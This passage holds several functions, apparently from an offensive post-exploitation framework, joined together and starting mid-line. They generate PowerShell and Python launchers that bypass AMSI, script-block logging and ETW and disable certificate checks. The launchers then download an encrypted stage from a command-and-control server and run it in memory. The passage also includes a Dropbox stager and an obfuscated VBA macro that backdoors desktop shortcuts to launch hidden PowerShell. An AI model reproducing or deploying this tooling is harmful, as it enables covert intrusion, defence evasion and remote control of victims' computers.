"['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;" # @mattifestation's AMSI bypass stager += helpers.randomize_capitalization( "[Ref].Assembly.GetType(") stager += "'System.Management.Automation.AmsiUtils'" stager += helpers.randomize_capitalization( ')|?{$_}|%{$_.GetField(') stager += "'amsiInitFailed','NonPublic,Static'" stager += helpers.randomize_capitalization( ").SetValue($null,$true)};") stager += helpers.randomize_capitalization( "[System.Net.ServicePointManager]::Expect100Continue=0;" ) stager += helpers.randomize_capitalization( "$wc=New-Object System.Net.WebClient;") if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] stager += "$u='" + userAgent + "';" if 'https' in host: # allow for self-signed certificates for https connections stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': stager += helpers.randomize_capitalization( '$wc.Headers.Add(') stager += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': stager += helpers.randomize_capitalization( "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" ) else: # TODO: implement form for other proxy stager += helpers.randomize_capitalization( "$proxy=New-Object Net.WebProxy;") stager += helpers.randomize_capitalization( "$proxy.Address = '" + proxy.lower() + "';") stager += helpers.randomize_capitalization( "$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": stager += helpers.randomize_capitalization( "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" ) else: # TODO: implement form for other proxy credentials username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] domain = username.split('\\')[0] usr = username.split('\\')[1] stager += "$netcred = New-Object System.Net.NetworkCredential(" + usr + "," + password + "," + domain + ");" stager += helpers.randomize_capitalization( "$wc.Proxy.Credentials = $netcred;") # TODO: reimplement stager retries? #check if we're using IPv6 listenerOptions = copy.deepcopy(listenerOptions) bindIP = listenerOptions['BindIP']['Value'] port = listenerOptions['Port']['Value'] if ':' in bindIP: if "http" in host: if "https" in host: host = 'https://' + '[' + str( bindIP) + ']' + ":" + str(port) else: host = 'http://' + '[' + str( bindIP) + ']' + ":" + str(port) # code to turn the key string into a byte array stager += helpers.randomize_capitalization( "$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization( '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};' ) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) #Add custom headers if any if customHeaders != []: for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] stager += helpers.randomize_capitalization( "$wc.Headers.Add(") stager += "\"%s\",\"%s\");" % (headerKey, headerValue) # add the RC4 packet to a cookie stager += helpers.randomize_capitalization("$wc.Headers.Add(") stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket) stager += "$ser='%s';$t='%s';" % (host, stage0) stager += helpers.randomize_capitalization( "$data=$WC.DownloadData($ser+$t);") stager += helpers.randomize_capitalization( "$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization( "-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: stager = helpers.obfuscate( stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager if language.startswith('py'): # Python launcherBase = 'import sys;' if "https" in host: # monkey patch ssl woohooo launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" try: if safeChecks.lower() == 'true': launcherBase += "import re, subprocess;" launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n" launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n" launcherBase += "out = ps.stdout.read()\n" launcherBase += "ps.stdout.close()\n" launcherBase += "if re.search(\"Little Snitch\", out):\n" launcherBase += " sys.exit()\n" except Exception as e: p = "[!] Error setting LittleSnitch in stager: " + str(e) print helpers.color(p, color='red') if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] launcherBase += "import urllib2;\n" launcherBase += "UA='%s';" % (userAgent) launcherBase += "server='%s';t='%s';" % (host, stage0) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) launcherBase += "req=urllib2.Request(server+t);\n" # add the RC4 packet to a cookie launcherBase += "req.add_header('User-Agent',UA);\n" launcherBase += "req.add_header('Cookie',\"session=%s\");\n" % ( b64RoutingPacket) # Add custom headers if any if customHeaders != []: for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] #launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue) launcherBase += "req.add_header(\"%s\",\"%s\");\n" % ( headerKey, headerValue) if proxy.lower() != "none": if proxy.lower() == "default": launcherBase += "proxy = urllib2.ProxyHandler();\n" else: proto = proxy.Split(':')[0] launcherBase += "proxy = urllib2.ProxyHandler({'" + proto + "':'" + proxy + "'});\n" if proxyCreds != "none": if proxyCreds == "default": launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n" username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] launcherBase += "proxy_auth_handler.add_password(None," + proxy + "," + username + "," + password + ");\n" launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n" else: launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "o = urllib2.build_opener();\n" #install proxy and creds globally, so they can be used with urlopen. launcherBase += "urllib2.install_opener(o);\n" # download the stager and extract the IV launcherBase += "a=urllib2.urlopen(req).read();\n" launcherBase += "IV=a[0:4];" launcherBase += "data=a[4:];" launcherBase += "key=IV+'%s';" % (stagingKey) # RC4 decryption launcherBase += "S,j,out=range(256),0,[]\n" launcherBase += "for i in range(256):\n" launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += "i=j=0\n" launcherBase += "for char in data:\n" launcherBase += " i=(i+1)%256\n" launcherBase += " j=(j+S[i])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n" launcherBase += "exec(''.join(out))" if encode: launchEncoded = base64.b64encode(launcherBase) launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | python &" % ( launchEncoded) return launcher else: return launcherBase else: print helpers.color( "[!] listeners/http generate_launcher(): invalid language specification: only 'powershell' and 'python' are currently supported for this module." ) else: print helpers.color( "[!] listeners/http generate_launcher(): invalid listener name specification!" )
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color( '[!] listeners/dbx generate_stager(): no language specified!') return None pollInterval = listenerOptions['PollInterval']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] baseFolder = listenerOptions['BaseFolder']['Value'].strip('/') apiToken = listenerOptions['APIToken']['Value'] profile = listenerOptions['DefaultProfile']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] stagingFolder = "/%s/%s" % ( baseFolder, listenerOptions['StagingFolder']['Value'].strip('/')) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/dropbox.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # patch the server and key information stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval) #patch in working hours, if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization( line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager elif language.lower() == 'python': f = open("%s/data/agent/stagers/dropbox.py" % (self.mainMenu.installPath)) stager = f.read() f.close() stager = helpers.strip_python_comments(stager) # patch the server and key information stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval) stager = stager.replace('REPLACE_PROFILE', profile) stager = stager.replace('REPLACE_API_TOKEN', apiToken) if encode: return base64.b64encode(stager) if encrypt: # return an encrypted version of the stager ("normal" staging) RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, stager) else: # otherwise return the standard stager return stager else: print helpers.color( "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." )
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None, scriptLogBypass=True, AMSIBypass=True, AMSIBypass2=False, ETWBypass=False): """ Generate a basic launcher for the specified listener. """ if not language: print( helpers.color( '[!] listeners/http_hop generate_launcher(): no language specified!' )) if listenerName and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[ listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['RedirectStagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) if language.startswith('po'): # PowerShell stager = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': stager = helpers.randomize_capitalization( "If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass if scriptLogBypass: stager += bypasses.scriptBlockLogBypass() if ETWBypass: stager += bypasses.ETWBypass() # @mattifestation's AMSI bypass if AMSIBypass: stager += bypasses.AMSIBypass() # rastamouse AMSI bypass if AMSIBypass2: stager += bypasses.AMSIBypass2() stager += "};" stager += helpers.randomize_capitalization( "[System.Net.ServicePointManager]::Expect100Continue=0;" ) stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("wc") + "=New-Object System.Net.WebClient;") if userAgent.lower() == 'default': userAgent = profile.split('|')[1] stager += "$u='" + userAgent + "';" if 'https' in host: # allow for self-signed certificates for https connections stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': stager += helpers.randomize_capitalization( '$' + helpers.generate_random_script_var_name("wc") + '.Headers.Add(') stager += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("wc") + ".Proxy=[System.Net.WebRequest]::DefaultWebProxy;" ) else: # TODO: implement form for other proxy stager += helpers.randomize_capitalization( "$proxy=New-Object Net.WebProxy;") stager += helpers.randomize_capitalization( "$proxy.Address = '" + proxy.lower() + "';") stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("wc") + ".Proxy = $proxy;") if proxyCreds.lower() == "default": stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("wc") + ".Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" ) else: # TODO: implement form for other proxy credentials username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] domain = username.split('\\')[0] usr = username.split('\\')[1] stager += "$netcred = New-Object System.Net.NetworkCredential('" + usr + "','" + password + "','" + domain + "');" stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("wc") + ".Proxy.Credentials = $netcred;") # TODO: reimplement stager retries? # code to turn the key string into a byte array stager += helpers.randomize_capitalization( "$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization( '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};' ) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket).decode( "UTF-8") # add the RC4 packet to a cookie stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("wc") + ".Headers.Add(") stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket) stager += "$ser=%s;$t='%s';$hop='%s';" % ( helpers.obfuscate_call_home_address(host), stage0, listenerName) stager += helpers.randomize_capitalization( "$data=$" + helpers.generate_random_script_var_name("wc") + ".DownloadData($ser+$t);") stager += helpers.randomize_capitalization( "$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization( "-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: stager = helpers.obfuscate( self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager if language.startswith('py'): # Python launcherBase = 'import sys;' if 'https' in host: # monkey patch ssl woohooo launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" try: if safeChecks.lower() == 'true': launcherBase += "import re, subprocess;" launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n" launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n" launcherBase += "out, err = ps.communicate()\n" launcherBase += "if re.search(\"Little Snitch\", out):\n" launcherBase += " sys.exit()\n" except Exception as e: p = "[!] Error setting LittleSnitch in stagger: " + str(e) print(helpers.color(p, color='red')) if userAgent.lower() == 'default': userAgent = profile.split('|')[1] launcherBase += "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener();" launcherBase += "UA='%s';" % (userAgent) launcherBase += "server='%s';t='%s';" % (host, stage0) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket).decode( "UTF-8") launcherBase += "import urllib2\n" if proxy.lower() != "none": if proxy.lower() == "default": launcherBase += "proxy = urllib2.ProxyHandler();\n" else: proto = proxy.Split(':')[0] launcherBase += "proxy = urllib2.ProxyHandler({'" + proto + "':'" + proxy + "'});\n" if proxyCreds != "none": if proxyCreds == "default": launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n" username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] launcherBase += "proxy_auth_handler.add_password(None,'" + proxy + "','" + username + "','" + password + "');\n" launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n" else: launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "o = urllib2.build_opener();\n" # add the RC4 packet to a cookie launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % ( b64RoutingPacket) #install proxy and creds globally, so they can be used with urlopen. launcherBase += "urllib2.install_opener(o);\n" # download the stager and extract the IV launcherBase += "a=o.open(server+t).read();" launcherBase += "IV=a[0:4];" launcherBase += "data=a[4:];" launcherBase += "key=IV+'%s';" % (stagingKey) # RC4 decryption launcherBase += "S,j,out=range(256),0,[]\n" launcherBase += "for i in range(256):\n" launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += "i=j=0\n" launcherBase += "for char in data:\n" launcherBase += " i=(i+1)%256\n" launcherBase += " j=(j+S[i])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n" launcherBase += "exec(''.join(out))" if encode: launchEncoded = base64.b64encode(launcherBase).decode( "UTF-8") launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &" % ( launchEncoded) return launcher else: return launcherBase else: print( helpers.color( "[!] listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." )) else: print( helpers.color( "[!] listeners/http_hop generate_launcher(): invalid listener name specification!" ))
def generate(self): # setting variables language = self.options['Language']['Value'] listenerName = self.options['Listener']['Value'] userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] stagerRetries = self.options['StagerRetries']['Value'] targetEXE = self.options['TargetEXEs']['Value'] XmlPath = self.options['XmlUrl']['Value'] XmlOut = self.options['XmlOutFile']['Value'] targetEXE = targetEXE.split(',') targetEXE = filter(None, targetEXE) fncDecryptName = ''.join( random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(10, 15))) shellVar = ''.join( random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(10, 25))) lnkVar = ''.join( random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(10, 25))) fsoVar = ''.join( random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(10, 25))) folderVar = ''.join( random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(10, 25))) fileVar = ''.join( random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(10, 25))) encStrVar = ''.join( random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(10, 25))) tempStrVar = ''.join( random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(10, 25))) shiftVar = ''.join( random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(10, 25))) offsetVar = ''.join( random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(10, 25))) blockVar = ''.join( random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(10, 25))) # generate the launcher launcher = self.mainMenu.stagers.generate_launcher( listenerName, language=language, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) launcher = launcher.split(" ")[-1] if launcher == "": print helpers.color("[!] Error in launcher command generation.") return "" else: #build out the macro - will look for all .lnk files on the desktop, any that it finds it will inspect to determine whether it matches any of the target exe names macro = "Sub Auto_Close()\n" #macro += "Dim " + shellVar + " As Object, " + lnkVar + " as Object, " + blockVar + " as String\n" macro += "Set " + shellVar + " = CreateObject(" + fncDecryptName + "(\"" + self.encoder( "Wscript.Shell") + "\"))\n" macro += "Set " + fsoVar + " = CreateObject(" + fncDecryptName + "(\"" + self.encoder( "Scripting.FileSystemObject") + "\"))\n" macro += "Set " + folderVar + " = " + fsoVar + ".GetFolder(" + shellVar + ".SpecialFolders(\"desktop\"))\n" macro += "For Each " + fileVar + " In " + folderVar + ".Files\n" macro += "If(InStr(Lcase(" + fileVar + "), \".lnk\")) Then\n" macro += "Set " + lnkVar + " = " + shellVar + ".CreateShortcut(" + shellVar + ".SPecialFolders(\"desktop\") & \"\\\" & " + fileVar + ".name)\n" macro += "If(" for i, item in enumerate(targetEXE): if i: macro += (' or ') macro += "InStr(Lcase(" + lnkVar + ".targetPath), " + fncDecryptName + "(\"" + self.encoder( targetEXE[i].strip().lower() + ".") + "\"))" macro += ") Then\n" #writing out and obfuscating the command that will be executed upon clicking the backdoored .lnk launchString1 = " -w hidden -nop -command \"[System.Diagnostics.Process]::Start(\'" launchString2 = "& " + lnkVar + ".targetPath & " launchString3 = "\');$u=New-Object -comObject wscript.shell;Get-ChildItem -Path $env:USERPROFILE\desktop -Filter *.lnk | foreach { $lnk = $u.createShortcut($_.FullName); if($lnk.arguments -like \'*xml.xmldocument*\') {$start = $lnk.arguments.IndexOf(\'\'\'\') + 1; $result = $lnk.arguments.Substring($start, $lnk.arguments.IndexOf(\'\'\'\', $start) - $start );$lnk.targetPath = $result; $lnk.Arguments = \'\'; $lnk.Save()}};$b = New-Object System.Xml.XmlDocument;$b.Load(\'" launchString4 = "\');[Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String($b.command.a.execute))|IEX\"" launchString1 = helpers.randomize_capitalization(launchString1) launchString2 = helpers.randomize_capitalization(launchString2) launchString3 = helpers.randomize_capitalization(launchString3) launchString4 = helpers.randomize_capitalization(launchString4) #the encoded script gets long, this snippet chunks data to a more manageable size, keeps vbscript from erroring out due to a line over 1023 chars chunks = list( helpers.chunks( self.encoder(launchString3 + XmlPath + launchString4), random.randint(600, 750))) macro += blockVar + " = \"" + str(chunks[0]) + "\"\n" for chunk in chunks[1:]: macro += blockVar + " = " + blockVar + " + \"" + str( chunk) + "\"\n" #part of the macro that actually modifies the LNK files on the desktop, sets iconlocation for updated lnk to the old targetpath, args to our launch code, and target to powershell so we can do a direct call to it macro += lnkVar + ".IconLocation = " + lnkVar + ".targetpath\n" launchString = fncDecryptName + "(\"" + self.encoder( launchString1 ) + "\")" + launchString2 + fncDecryptName + "(" + blockVar + ")\n" macro += lnkVar + ".arguments = " + launchString macro += lnkVar + ".targetpath = left(CurDir, InStr(CurDir, \":\")-1) & " + fncDecryptName + "(\"" + self.encoder( ":\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" ) + "\")\n" macro += lnkVar + ".save\n" macro += "end if\n" macro += "end if\n" macro += "next " + fileVar + "\n" macro += "End Sub\n\n" #de-obfuscation function written into macro, this is called at the macro's runtime and converts obfuscated text back to ascii macro += "Function " + fncDecryptName + "(" + encStrVar + ") as String\n" macro += "Dim " + tempStrVar + ", " + shiftVar + ", " + offsetVar + "\n" macro += shiftVar + " = CLng(\"&H\" & Left(" + encStrVar + ", 1))\n" macro += offsetVar + " = CLng(\"&H\" & Mid(" + encStrVar + ", 2, 2)) + 4\n" macro += "For i = " + offsetVar + " To Len(" + encStrVar + ") Step 3\n" macro += tempStrVar + " = " + tempStrVar + " & Chr(CLng(\"&H\" & Mid(" + encStrVar + ",i,2)) + " + shiftVar + ")\n" macro += "Next\n" macro += fncDecryptName + " = " + tempStrVar + "\n" macro += "End Function" #writes XML intermediate stager to disk print("Writing xml...\n") f = open(XmlOut, "w") f.write("<?xml version=\"1.0\"?>\n") f.write("<command>\n") f.write("\t<a>\n") f.write("\t<execute>" + launcher + "</execute>\n") f.write("\t</a>\n") f.write("</command>\n") print( "xml written to " + XmlOut + " please remember this file must be accessible by the target at this url: " + XmlPath + "\n") return macro